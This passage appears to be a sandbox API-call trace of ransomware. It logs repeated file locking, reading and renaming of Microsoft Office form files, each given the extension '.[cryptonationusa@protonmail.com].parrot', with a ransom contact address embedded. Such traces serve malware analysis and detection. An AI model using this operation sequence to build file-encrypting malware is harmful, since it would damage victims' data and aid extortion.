liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.555] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x380, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.555] CloseHandle (hObject=0x27c) returned 1 [0184.555] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.560] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6396, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.560] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.561] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.569] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.569] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x627e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x627e, lpOverlapped=0x0) returned 1 [0184.571] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.571] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6396, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.571] CloseHandle (hObject=0x27c) returned 1 [0184.572] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.577] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcce, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.577] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.577] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.579] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.579] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0184.579] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.579] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.579] CloseHandle (hObject=0x27c) returned 1 [0184.580] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.584] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x433, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.584] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.584] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.585] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.586] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x31b, lpOverlapped=0x0) returned 1 [0184.586] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.586] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x433, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.586] CloseHandle (hObject=0x27c) returned 1 [0184.586] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.591] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x54e, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.591] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.591] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.592] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.592] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0184.593] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.593] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x54e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.593] CloseHandle (hObject=0x27c) returned 1 [0184.593] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.597] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcce, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.597] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.597] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.598] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.599] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0184.599] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.599] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.599] CloseHandle (hObject=0x27c) returned 1 [0184.599] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPMS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipms.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.604] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x28ae, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.604] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.604] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.605] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.606] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2796, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2796, lpOverlapped=0x0) returned 1 [0184.607] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.607] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x28ae, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.607] CloseHandle (hObject=0x27c) returned 1 [0184.607] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmsl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.611] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9d6, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.612] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.612] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.613] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.613] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8be, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8be, lpOverlapped=0x0) returned 1 [0184.613] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.613] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9d6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.613] CloseHandle (hObject=0x27c) returned 1 [0184.614] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.618] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x425, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.618] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.618] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.619] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.619] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x30d, lpOverlapped=0x0) returned 1 [0184.619] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.620] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x425, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.620] CloseHandle (hObject=0x27c) returned 1 [0184.620] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.624] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x54e, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.624] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.624] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.625] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.625] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0184.626] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.626] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x54e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.626] CloseHandle (hObject=0x27c) returned 1 [0184.626] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.630] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcce, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.630] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.630] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.631] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.632] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0184.632] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.632] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.632] CloseHandle (hObject=0x27c) returned 1 [0184.632] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.643] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x37f, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.643] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.643] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.644] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.644] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x267, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x267, lpOverlapped=0x0) returned 1 [0184.645] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.645] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x37f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.645] CloseHandle (hObject=0x27c) returned 1 [0184.645] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.650] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x373, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.650] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.650] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.650] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.651] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x25b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x25b, lpOverlapped=0x0) returned 1 [0184.651] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.651] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x373, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.651] CloseHandle (hObject=0x27c) returned 1 [0184.651] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.655] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x54e, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.655] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.655] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.657] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.657] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0184.657] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.657] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x54e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.657] CloseHandle (hObject=0x27c) returned 1 [0184.658] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.661] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcce, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.661] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.661] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.663] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.663] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0184.663] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.664] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.664] CloseHandle (hObject=0x27c) returned 1 [0184.664] MoveFileExW (lpExistingFileName="C:\\Program 